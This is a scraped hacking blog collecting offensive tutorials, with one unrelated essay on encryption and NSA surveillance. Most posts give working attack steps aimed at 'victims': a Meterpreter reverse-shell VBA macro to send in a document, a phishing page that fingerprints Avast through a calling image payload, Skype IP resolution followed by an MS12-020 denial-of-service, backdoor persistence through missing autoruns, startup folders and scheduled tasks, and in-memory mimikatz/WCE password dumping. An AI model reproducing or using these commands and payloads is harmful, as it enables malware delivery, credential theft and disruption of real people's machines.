KNOX D3

Get shell Using Shellcode in Macro.

<div dir="ltr" style="text-align: left;" trbidi="on">We can execute shellcode directly in macro. It`s very old method, but still it`s useful ; because AV don`t trigger it.First we will generate VB code of our payload. msfconsole use payload/windows/meterpreter/reverse_tcp set LHOST 192.168.56.102 set LPORT 443 generate -t vba exploit <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJW5MN2rg7i3UfNZB9usIE4RrgVAArAkmWXj2af2oRp-xN3GDJpcWjB8DVVvVs85t5CDFegS-in8hcyoTu352THV-cb5R7Xp9FD3plql6Qzoyws4YrEX8k89Ux1zR9Pj2ecOQlEeMOjZJB/s1600/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJW5MN2rg7i3UfNZB9usIE4RrgVAArAkmWXj2af2oRp-xN3GDJpcWjB8DVVvVs85t5CDFegS-in8hcyoTu352THV-cb5R7Xp9FD3plql6Qzoyws4YrEX8k89Ux1zR9Pj2ecOQlEeMOjZJB/s1600/Screenshot.png" /></a></div><a name="more"></a> Now we have generated our shellcode. Now we will create macro. (1)Open any word or Excell document (2)Click on view & then click on Macros. (3)Give name to macro & create macro. <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb_1TAGSBupOdgd47LfIRE8GsjL6FxeSN3Mo8GHu0dFCJppqUkZPDPPgvcEvaTndvu-x8s-cb68rSNM4miDktnQIQLIoMCh-bL_bqmjM2JivEoiKb1__qdKrye01uwl8iGGbQa3O_2B5c6/s1600/macro-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb_1TAGSBupOdgd47LfIRE8GsjL6FxeSN3Mo8GHu0dFCJppqUkZPDPPgvcEvaTndvu-x8s-cb68rSNM4miDktnQIQLIoMCh-bL_bqmjM2JivEoiKb1__qdKrye01uwl8iGGbQa3O_2B5c6/s320/macro-1.png" width="320" /></a></div> (4)Remove all things from modules windows & Paste our generated VB code. <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu19FJsfgJYo2NBGkMxkTC_rJyzlXho981BnDokhKLmDsI4iQHVZ9ZvLyoE1x0PU5955dK38yYOIJMllzTRTNVR1BR9MT9o0pYA-408UNv8awmwOtwhEprGFQZVh8keh2V0cXE3LfhQN5E/s1600/macro-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu19FJsfgJYo2NBGkMxkTC_rJyzlXho981BnDokhKLmDsI4iQHVZ9ZvLyoE1x0PU5955dK38yYOIJMllzTRTNVR1BR9MT9o0pYA-408UNv8awmwOtwhEprGFQZVh8keh2V0cXE3LfhQN5E/s320/macro-2.png" width="320" /></a></div> (5)Saved it as type Word Macro-Enabled Document. <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Tn3nq8TKypHB-TDg7fvJNGR07IOpCtr3MJmoO_65gvNzKj4iUdjvCCIT_6oea9AN6tnpOp0en4mVWxepn8HtAdpnap2r1g8VUJEFANWSoLGmRWIyVWw0MPUKITeMIawMD8A4UPsJrgeD/s1600/main-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Tn3nq8TKypHB-TDg7fvJNGR07IOpCtr3MJmoO_65gvNzKj4iUdjvCCIT_6oea9AN6tnpOp0en4mVWxepn8HtAdpnap2r1g8VUJEFANWSoLGmRWIyVWw0MPUKITeMIawMD8A4UPsJrgeD/s320/main-3.png" width="320" /></a></div> Send this file to victim. By default in MS Office  " Disable all macros with notification " option is enabled , so whenever any document try to execute Macro it will pop up security warning that macro is disable ; so to execute our shellcode using macro victim should click on Enable content. You have to setup listener to listen reverse connection. If your IP is not available when victim open Document then document will be crash.So now we will setup listener use exploit/multi/handler set lhost 192.168.56.102 set lport 443 set payload windows/meterpreter/reverse_tcp set autorunscript migrate -n explorer.exe exploit <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpJKbGUpQEt2e48dgZhwAfay3ZL9x0t5dLWLZgAblM9TV9t_X_G98c4SK_dmZDL3JAIlQ2IqILpsVPpBtj4e9guxHq08oHAM4aOOFTPkHNVJKKnu2gpoc_x7zrC50GhNFyai-EzkRuu0n-/s1600/Screenshot-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpJKbGUpQEt2e48dgZhwAfay3ZL9x0t5dLWLZgAblM9TV9t_X_G98c4SK_dmZDL3JAIlQ2IqILpsVPpBtj4e9guxHq08oHAM4aOOFTPkHNVJKKnu2gpoc_x7zrC50GhNFyai-EzkRuu0n-/s400/Screenshot-2.png" width="400" /></a></div>Here we setup migrate script as autorunscript so when document will closed our shell will not die.</div>

Get shell Using Shellcode in Macro.

We can execute shellcode directly in macro. It`s very old method, but still it`s useful ; because AV don`t trigger it.First we will generate...

+ Read more »

How to detect Avast Antivirus remotely?

<div dir="ltr" style="text-align: left;" trbidi="on">During assessment if you know which Anti virus is used by client then you won half battle.Because you can download trial version of that AV & install it in virtual box & try to bypass that AV. So during real assessment your payload or binary don`t get caught.Today we gonna try to detect if client has installed avast or not? Original video is posted <a href="http://www.securitytube.net/video/8571" target="_blank">here</a>. In avast their is feature of site blocking ; so if you want to block any site you can put its address in block url section of avast interface.when someone load that site they get response as shown in below image. <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDgpytwsnULwPPxXWsfWfG1l0o47hNGK-mbmaJrOGvRm419mzf6loZnSdwlJ1mvU__bnIkkb40s8f1KpD1h4AbxwBuzbtoxQuHgl_cMcItOY1HVmz_lc-Qt9CzeciDYSVlXA4kqCtoq3gL/s1600/Avast-Site-Blocking.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="How-to-detect-Avast-Antivirus-remotely" border="0" height="194" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDgpytwsnULwPPxXWsfWfG1l0o47hNGK-mbmaJrOGvRm419mzf6loZnSdwlJ1mvU__bnIkkb40s8f1KpD1h4AbxwBuzbtoxQuHgl_cMcItOY1HVmz_lc-Qt9CzeciDYSVlXA4kqCtoq3gL/s320/Avast-Site-Blocking.png" title="How-to-detect-Avast-Antivirus-remotely" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><a name="more"></a> In above image you can see that avast logo which address is localhost:12080/$$avast-webshield$$/image001.png . So if in client machine avast is installed than that image is also located at that address , by examine image is exist or not we can know that whether avast is installed or not. For this purpose victim should visit  our link where we can check about image.So i am gonna use my apache server ; where i put three html page. One is our link which we gonna send to victim ; if image exist it redirect to other document ; & if image does not exist it redirect to third html page. (1)Make blank html page & give it to name avst.html & put following code in that html page. <meta http-equiv="refresh" content="0; url=http://google.com/"> (2)Now make second html page & give it to name ntavst.html & put same code in that page. <meta http-equiv="refresh" content="0; url=http://google.com/"> (3)Make third & final html page and give it to name exp.html & put following code. <div dir="ltr" style="text-align: left;" trbidi="on"> <img src="http://127.0.0.1:12080/$$avast-webshield$$"/image001.png" onload="document.location='http://180.215.198.150/avast.html'" onerror="document.location='http://180.215.198.150/ntavast.html'" /> Note:- Change your i.p in above code. Now put these all document in /var/www/ folder.And send link of exp.html to victim So if avast installed then it redirect to avast.html page & finally redirect to google.com & if it does not installed then it will redirect to ntavst.html page & then redirect to google.com Now check your apache log file from \var\log\apache2\log ; you can check if avst.html page has been visited or ntavst.html page. <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTu6bAWmkbkI0v0hM4iu9sy1vciw1aOWvAAAkPnjbn2tylfWFKD_CqapBSJn84DXdtcxszSK_3ECUS3EFULd2dYuQK5dzbb5il4zE88vB25xJly2J47RJie67Uuy3qFF-nODeWt9-luGyE/s1600/nt_avast.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="How-to-detect-Avast-Antivirus-remotely" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTu6bAWmkbkI0v0hM4iu9sy1vciw1aOWvAAAkPnjbn2tylfWFKD_CqapBSJn84DXdtcxszSK_3ECUS3EFULd2dYuQK5dzbb5il4zE88vB25xJly2J47RJie67Uuy3qFF-nODeWt9-luGyE/s1600/nt_avast.PNG" title="How-to-detect-Avast-Antivirus-remotely" /></a></div>PS: You can use cobalt strike `s system profiler which get you os version;  browser detail; java version ; adobe reader  version & flash version.</div>

How to detect Avast Antivirus remotely?

During assessment if you know which Anti virus is used by client then you won half battle.Because you can download trial version of that AV ...

+ Read more »

Encryption In Times Of Espionage

<div dir="ltr" style="text-align: left;" trbidi="on"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxPRzXnA89jiC2Jbxf6VeQn_dsMUf9G-HqaR6MLRT96jTJg480RUFxK1lquQ9JHsRkfay4t4MzXXNPkwJi4pYbTp2i-ZojkeLE-WAdfuem3A2OODWkEKqNUOF3i87oXjPU-RadvcgyXep-/s1600/crack+it.jpg" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;"><img border="0" height="377" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxPRzXnA89jiC2Jbxf6VeQn_dsMUf9G-HqaR6MLRT96jTJg480RUFxK1lquQ9JHsRkfay4t4MzXXNPkwJi4pYbTp2i-ZojkeLE-WAdfuem3A2OODWkEKqNUOF3i87oXjPU-RadvcgyXep-/s640/crack+it.jpg" width="577" /></a> <h4 style="text-align: left;">ABSTRACT</h4>Everyone knows that encryption is essential in modern times, among the main aims and objectives of this method are some functions such as protecting the financial networks that interconnect the banks in the world, does not allow mobile phone calls are heard, keep records of documents confidential, safe keeping sensitive information from military officers, doctors, lawyers and protect credit card and financial transactions. <a name="more"></a><h4 style="text-align: left;">CONCEPT</h4>Encryption algorithms also depend called "trapdoor functions", pieces of mathematics that are theoretically easy to perform encryption in one direction, but very difficult to reverse. A common method is based on the assumed difficulty of finding the prime factors of large numbers, but many security researchers were touting new codes based on a different and innovative math involving elliptic curves, but what if some entity or someone with great skill and can pick these constants so as to make the codes vulnerable to decoding result, this could be a global threat. <h4 style="text-align: left;">INTRODUCTION</h4>Most encryption systems utilize generating pseudo-random numbers as part of a complex mathematical codes in the creation of virtually unbreakable sequences were generated numbers can be predicted, this would make the code was broken attacked given power sufficient processing and a certain amount of time. According to documents revealed by Edward Snowden (systems administrator fugitive from NSA who now lives in Russia and was considered a spy) the National Security Agency is three steps ahead in secret cyber war, using his favor supercomputers, techniques evolved and hitherto unknown to crack encrypted data, court orders, persuasion and agreement with major companies, to corrupt the main tools that protect the privacy of Internet communications usual. <h4 style="text-align: left;">CONTEXT</h4>Supposedly the NSA can break the codes that allow for private communication over the internet and also sabotage them. The strategy includes undermine the supposed official standards bodies and major IT companies bribe. The goal would be to insert  "backdoors" , The New York Times cites a document  "GCHQ" which says that the NSA has large amounts of encrypted data that used to be discarded and are now exploitable , and that was an aggressive effort toward breaking technologies encryption considered safe. The recent leak suggests that not only was spying from foreign adversaries , but also commercial rivals of American businesses , something that other foreign companies and governments are worrying for years , there are those who are suspicious of Mr. Snowden and his allies , and contest the references taken from the leaked documents , and defend the role of the NSA , on the other hand can now put protectionist as privacy advocates and national dignity , German politicians have asked that people avoid American web companies if they want to keep their data insurance, the Indian government is considering a ban on the use of Google's Gmail service to send official communications and technology companies in places like Russia and Switzerland has seen a considerable increase in inquiries from companies seeking a haven for their data order to keep them protected. <h4 style="text-align: left;">CURIOSITY</h4>The largest technology companies , with its global horizons spread around the world , have more to lose (reputation) , including Facebook , Microsoft , Google and Yahoo , may be requested through actions by the Court of the Foreign Intelligence Surveillance America that is requested permission to reveal more detailed information on the types of orders and requests they receive from U.S. government agencies , an information document "Bullrun" says the NSA had developed innovative capabilities against encrypted Web chats and phone calls and also performed successfully attack techniques against Secure Sockets Layer (SSL) and virtual private networks (VPN). At this present time where we are vulnerable as rabbits return to the wolf pack, there is ways to get around this use tools that employ open-source and the best strategies , in the case of open source encryption the advantage is that the algorithm can be examined freely to potential security vulnerabilities that can arise throughout the tests. <h4 style="text-align: left;">SOLUTION</h4>Workarounds and useful tools: GPG an open-source implementation of the OpenPGP protocol used to encrypt e-mail communications. TrueCrypt (encryption on-the -fly OTFE) to confidential files , folders and entire drives on your PC , encryption, it can create a virtual encrypted disk or encrypt a partition , individual algorithms supported by TrueCrypt are AES , Serpent and Twofish, additionally , five different combinations of cascaded algorithms are available : AES - Twofish , AES - Twofish - Serpent , Serpent - AES , Serpent - Twofish - AES and Twofish - Serpent . Uses RIPEMD - 160, SHA - 512 and Whirlpool as hashing functions . TAILS, a Linux distribution built for safety and anonymity, comes with numerous tools privacy and encryption, which lets you surf the web (mostly) in an almost anonymous . Messages off- the-record, or OTR , an encryption protocol to encrypt and authenticate communications and instant messaging also use others as TLS and IPsec ,remember also apply to other software such as Silent Circle and BleachBit . <h4 style="text-align: left;">CONCLUSION</h4>Regarding PRIVACY is important to know how to control the availability and exposure of your data , the AES algorithm was proposed to replace DES, NIST ("National Institute of Standards and Technology U.S.") held a competition (The selection process began in 1997 and ended in 2000 with the victory of the Rijndael algorithm written by Joan Daemen and Vincent Rijmen) for it to be made an algorithm that would be called "Advanced Encryption Standard " that meets the following specifications: algorithm publicly defined; Being a symmetric cipher block; Designed for the key size can be increased; Deployable in both hardware and software; Powered freely, this algorithm Encrypt and Decrypt using an encrypted key and blocks, both sizes of 128,192 or 256 bits. Concluding , I will address the most advanced technique for encryption , we got the "One Time Pad" (OTP) or "Vernam Cypher" single key cipher is an encryption algorithm where the plaintext is combined with a random key or " pad " that is as large as the plaintext and used only once , if the key is truly random , never reused , and kept secret , the one- time pad is unbreakable! About the Author, RAFAEL FONTES SOUZA. <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW20uw8T8ysccUKPby8pUltzOvGP9SFROKU-o2mqHEuxLw9FUwB3OsaAAr535b818hL9f3KxihgWtIlfaPNaruznzRxx3X9NVNlCf8tFj19pIEDs2NMnIO2nT2U4oBsNSY23ZIVvbJfVZo/s1600/desouze.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW20uw8T8ysccUKPby8pUltzOvGP9SFROKU-o2mqHEuxLw9FUwB3OsaAAr535b818hL9f3KxihgWtIlfaPNaruznzRxx3X9NVNlCf8tFj19pIEDs2NMnIO2nT2U4oBsNSY23ZIVvbJfVZo/s200/desouze.jpg" width="187" /></a>Over the years, acquiring knowledge of Webmaster Programmer (HTML5,CSS,XML,ActionScript), developer in languages like Python, Shell Script, Perl, Pascal, Ruby, Object Pascal, C and Java. I started studying with thirteen (SQL database), i have extensive experience in operating systems such as Linux, UNIX, and Windows.  I am maintainer of the “Project Backtrack Team Brazilian”, I am also a member of the "French Backtrack Team" and made partnerships with groups from Indonesia and Algeria, was prepared a collection of video lessons and made available on the website. I am Founder of the "Wikileaks and Intelligence, Cypherpunks". Good communication in groups and the general public, attended college projects with a focus on business organization, I currently seek work experience outside of brazil”. http://sourceforge.net/projects/cypherpunks/ Contact: fontes_rafael@hotmail.com</div>

Encryption In Times Of Espionage

ABSTRACT Everyone knows that encryption is essential in modern times, among the main aims and objectives of this method are some functions ...

+ Read more »

Fun with skype resolver

<div dir="ltr" style="text-align: left;" trbidi="on">Skype resolvers are used by hackers to get Skype users IP addresses, when a hacker get a users IP address they usually hit them off or DDoS them. If your victim is in your friend-list & you are using linux ; then it`s very simple to get his I.P. netstat -tupan | grep skype > n1 Now chat with your victim; as soon as you got reply use following command. netstat -tupan | grep skype > n2 diff n1 n2 Now we have I.P. of victim. In most situation our victim is not in our friend-list. So for that situation, we will going to use online skype resolver.You can also use bash script for getting ip of victim which i wrote. root@bt:~# git clone https://github.com/niravkdesai/skypersolver.sh root@bt:~# cd skypersolver.sh/ root@bt:~/skypersolver.sh# sh skypersolver.sh Use one of following  links to get I.P. of your victim using his skype user-name. (1)<a href="http://www.skyperesolver.com/">http://www.skyperesolver.com/</a> (2)<a href="http://skresolver.com/" target="_blank">http://skresolver.com/</a> (3)<a href="http://www.speedresolve.com/resolve.php">http://www.speedresolve.com/resolve.php</a> (4)<a href="http://skypegrab.com/skype-beta">http://skypegrab.com/skype-beta </a> (5)<a href="http://iskyperesolve.com/">http://iskyperesolve.com/</a> Okay we got I.P. Now you can directly DOS or DDOS( ddos and dos attacks are illegal) them . But we are going to use different technique to shutdown your victim pc using RDP. First scan ip to find open ports of victim. root@bt:~# nmap 192.168.56.101 Starting Nmap 6.40 ( http://nmap.org ) at 2013-10-11 18:41 IST Nmap scan report for 192.168.56.101 Host is up (0.00077s latency). Not shown: 995 filtered ports PORT      STATE  SERVICE 139/tcp     open   netbios-ssn 445/tcp     open   microsoft-ds 2869/tcp   closed icslap 3389/tcp   open   ms-wbt-server 10243/tcp closed unknown MAC Address: 08:00:27:B3:A3:80 (Cadmus Computer Systems) <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjdfhvEK0OeSzmNcVKOzOModrHntexdBbOOv54velI14iTxuDw7hOXl7T1BuuLVVGUyiizpjmqMS_UD8NbVgKndK5KTiZ2dtL77Ja0XgShZyByJWrp40rA4poXKK-cwIyPQVlOKAm2w8H-/s1600/nmap-scan.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nmap-scan" border="0" height="148" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjdfhvEK0OeSzmNcVKOzOModrHntexdBbOOv54velI14iTxuDw7hOXl7T1BuuLVVGUyiizpjmqMS_UD8NbVgKndK5KTiZ2dtL77Ja0XgShZyByJWrp40rA4poXKK-cwIyPQVlOKAm2w8H-/s400/nmap-scan.PNG" title="namp-scan" width="400" /></a></div><a name="more"></a> From result we can see that port 3389 is open which is used for RDP. Now we will use metasploit Auxiliary module to check vulnerability. msf > use auxiliary/scanner/rdp/ms12_020_check msf auxiliary(ms12_020_check) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 msf auxiliary(ms12_020_check) > run [+] 192.168.56.101:3389 Vulnerable to MS12-020 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOPI-hqtTzFRWvsplkjyVw0m9rwXll0REpaM1B_Yxrbl0XefRlzsd6IFGluV_MN0VJLB9RpFNZcvJbI-CNSJLcf_2HaHAq8nlSN38nS9oDgvxhM-V6_VmxAFDJTMedZuZ-KbBs9v6-6hvh/s1600/check-vulnerability.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="check-for-vulnerability" border="0" height="194" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOPI-hqtTzFRWvsplkjyVw0m9rwXll0REpaM1B_Yxrbl0XefRlzsd6IFGluV_MN0VJLB9RpFNZcvJbI-CNSJLcf_2HaHAq8nlSN38nS9oDgvxhM-V6_VmxAFDJTMedZuZ-KbBs9v6-6hvh/s400/check-vulnerability.PNG" title="check-for-vulnerability" width="400" /></a></div> Okay we got that host is vulnerable to MS12-020.Now we will use metasploit module to Dos that I.p. msf auxiliary(ms12_020_check) > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.56.101 RHOST => 192.168.56.101 msf auxiliary(ms12_020_maxchannelids) > run [*] 192.168.56.101:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS [*] 192.168.56.101:3389 - 210 bytes sent [*] 192.168.56.101:3389 - Checking RDP status... [+] 192.168.56.101:3389 seems down [*] Auxiliary module execution completed <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUGv2VL07rtp1bRrhjhACgkOpF8J9-WNMIW2nCUxbssK75Y0IaQX1XBg31LcPTCKJi9s1fjxL_f9hqNz-OD_C4mO7vq310ked7FqvpG9deGFhc7EKksaIZvZXrMd0_h6lSeZZB9VmoummJ/s1600/exploit.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="exploit-RDP" border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUGv2VL07rtp1bRrhjhACgkOpF8J9-WNMIW2nCUxbssK75Y0IaQX1XBg31LcPTCKJi9s1fjxL_f9hqNz-OD_C4mO7vq310ked7FqvpG9deGFhc7EKksaIZvZXrMd0_h6lSeZZB9VmoummJ/s400/exploit.PNG" title="exploit-RDP" width="400" /></a></div> And bingo ; your victim machine should be restarted. :)</div>

Fun with skype resolver

Skype resolvers are used by hackers to get Skype users IP addresses, when a hacker get a users IP address they usually hit them off or DDoS ...

+ Read more »

Get shell using Missing Autoruns.

<div dir="ltr" style="text-align: left;" trbidi="on">In <a href="http://tipstrickshack.blogspot.com/2013/10/schedule-task-in-windows-after.html" target="_blank">previous post</a> we saw that how can we execute schedule task after compromised PC.Today we will see another method to maintaining access of compromised pc. (A)When we install program in windows environment , some of them are asking to run at startup times. So these program write its value to windows registry & whenever pc is restarted , program will run in background.When uninstallation of program is not completed ; then it fails to remove its value from registry. So it`s called Missing Autoruns. After compromised pc ; we have to find missing autoruns in victim machine.For this purpose we will use sysinternal `s autorunsc.exe. (1)Get meterpreter shell. (2)Upload sysinternal`s autoruns.exe & autorun.exe to victim machine. (3)Now from uploaded directory execute following command to get missing autoruns of machine autorunsc.exe -a | findstr /n /R "File\ not\ found" (4)Now we have list of file which is missing ; these files are run at startup time. <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOuKLa7BKuuCuU3wgVekRJCIawIMrbUOiqES2tRxLYqXgq5LM6EIz8uHxHip6PxZqGicdUmnXXbVmUCY8bvNIcQj1XR36lNRRmBpyapLebKyVJXlN1zR4BjeVq6x2pea5kUVrexHVCxIdg/s1600/autoruns-upload.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="missing-autoruns" border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOuKLa7BKuuCuU3wgVekRJCIawIMrbUOiqES2tRxLYqXgq5LM6EIz8uHxHip6PxZqGicdUmnXXbVmUCY8bvNIcQj1XR36lNRRmBpyapLebKyVJXlN1zR4BjeVq6x2pea5kUVrexHVCxIdg/s400/autoruns-upload.PNG" title="missing-autoruns" width="400" /></a></div> <a name="more"></a> (5)In my case you can see that uTorrent.exe is missing . (6)So now i rename my backdoor to uTorrent .exe & uploaded to the path where it`s not found. <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbHM2DFsRrdlAoy638wc3kg9gPQr9gLWvUazwmTg1oO7isAgV0AwUwAM5hxFmcWYP9xn_oN-E55BI3Hl1om2NJbKHlSRb2Jy1SBhS8lU18HxFibM-1ndNg0mK-oRf5bOVcsmzNknPeoOQH/s1600/upload-missing-autoruns.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="upload-backdoor" border="0" height="35" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbHM2DFsRrdlAoy638wc3kg9gPQr9gLWvUazwmTg1oO7isAgV0AwUwAM5hxFmcWYP9xn_oN-E55BI3Hl1om2NJbKHlSRb2Jy1SBhS8lU18HxFibM-1ndNg0mK-oRf5bOVcsmzNknPeoOQH/s320/upload-missing-autoruns.PNG" title="upload-backdoor" width="320" /></a></div> Now whenever machine is restarted you get shell.(Don`t forget to running multi/handler!!!) For just POC ; you can run autorunsc.exe again to find out whether  our backdoor (uTorrent.exe) is written successfully or not? <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM88CCbSuCIp6fm85uPmN9jFpI9FdD38r-1GkCzUE6RTnPinQi162aB209L1lStmwjM6wfex_1AjBfypgHjXfp1X-S0D1FgU2IAaxHS7sOO539OSknCTFHJPzIPBAmPPeup_wqqRED1jh1/s1600/Not-Missing-autoruns.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="missing -autorun-backdoor" border="0" height="113" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM88CCbSuCIp6fm85uPmN9jFpI9FdD38r-1GkCzUE6RTnPinQi162aB209L1lStmwjM6wfex_1AjBfypgHjXfp1X-S0D1FgU2IAaxHS7sOO539OSknCTFHJPzIPBAmPPeup_wqqRED1jh1/s320/Not-Missing-autoruns.PNG" title="missing -autorun-backdoor" width="320" /></a></div> In above image you can see that  uTorrent.exe is no longer missing which missed in previous step. (B)Now this is second method; but may be suspicious. When you put binary in start up folder it will run automatically when pc is started. Startup Folder Location in windows Xp:- C:\Documents and Settings\"nirav"\Start Menu\Programs\Startup Startup Folder location In windows 7:- C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup So upload your binary to start up folder ;make it hidden using following command. attrb +h backdoor.exe Restart machine & Hopefully you will get shell.</div>

Get shell using Missing Autoruns.

In previous post we saw that how can we execute schedule task after compromised PC.Today we will see another method to maintaining access o...

+ Read more »

Schedule Task in windows after Exploitation.

<div dir="ltr" style="text-align: left;" trbidi="on">Recently in Derbycon <a href="https://twitter.com/mubix" target="_blank">mubix</a> & <a href="https://twitter.com/carnal0wnage" target="_blank">carnal0wnage</a> present "windows attacks at is the new black ". It`s really great presentation . You can find it <a href="http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607" target="_blank">here</a>. So i will put  their method here. After getting meterpreter shell ; we have to maintain access of shell. You can use meterpreter backdoor & persistent backdoor . But most of times it will caught by AV. You can create FUD payload using <a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html" target="_blank">Veil</a>.We can also create schedule task for our backdoor. First create one batch file , put following code in it @echo off "C:\Documents and Settings\nirav\Desktop\backdoor.exe" Then upload your backdoor & created batch file.Please adjust path of batch file according to your upload path of backdoor. Get clear text password:- Following are different methods to get clear text password of windows. (1)using <a href="http://tipstrickshack.blogspot.com/2013/03/get-clear-text-credentials-of-windows.html" target="_blank">mimikatz</a> or <a href="http://tipstrickshack.blogspot.com/2013/02/how-to-get-windows-passwords-in-plain.html" target="_blank">wce</a> get clear text password of victim. (2) You can also use <a href="http://tipstrickshack.blogspot.com/2013/08/mimikatz-alpha-to-get-clear-text.html" target="_blank">mimikatz password dump method </a>. (3)You can also use mimikatz meterpreter plugin which i used in this tutorial.    meterpreter > load mimikatz    meterpreter > help mimikatz    meterpreter > kerberos    meterpreter > mimikatz_command -h    meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full" (4)You can use wce & mimikatz in memory without uploading binary. (a)WCE in memory:- cd %systemroot% cd system32 pwd execute -H -m -d calc.exe -f /root/wce.exe -a "-o foo.txt" cat foo.txt (b)Mimikatz in memory:- cd %systemroot% cd system32 execute -H -i -c -m -d calc.exe -f /root/mimi/Win32/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit' <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfIRLj-zPYnecNlQSkaI9vGM_ie1YlsRHmcUEJT5tTV3s-d_iQtAHIEJgsVk4lC2Hjdm4OQGXXDpKWBlHfai_axAPQmERxTnXhP00wZJMsQe5blIkpxc_x3uyvJvqgP7hhltUSBgB1P2PD/s1600/upload&mimikatz.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="get-clear-text-password" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfIRLj-zPYnecNlQSkaI9vGM_ie1YlsRHmcUEJT5tTV3s-d_iQtAHIEJgsVk4lC2Hjdm4OQGXXDpKWBlHfai_axAPQmERxTnXhP00wZJMsQe5blIkpxc_x3uyvJvqgP7hhltUSBgB1P2PD/s1600/upload&mimikatz.PNG" title="get-clear-text-password" /></a></div>So till now i upload one batch file ; backdoor & get clear text password. Now we are going to schedule our backdoor.We are going to use schtasks command. For detail option about schtasks visit <a href="http://technet.microsoft.com/en-us/library/cc772785%28v=ws.10%29.aspx" target="_blank">here</a> . In this tutorial i schedule my backdoor daily at 22:16. So everyday at 22:16 my backdoor will be executed & i will get shell. C:\Documents and Settings\nirav> SchTasks /Create /SC DAILY /TN Evil2 /TR "\"C:\Documents and Settings\nirav\Desktop\sch.bat"" /ST 22:16:00 It will ask to enter password which we got before. <div class="separator" style="clear: both; text-align: center;"><a 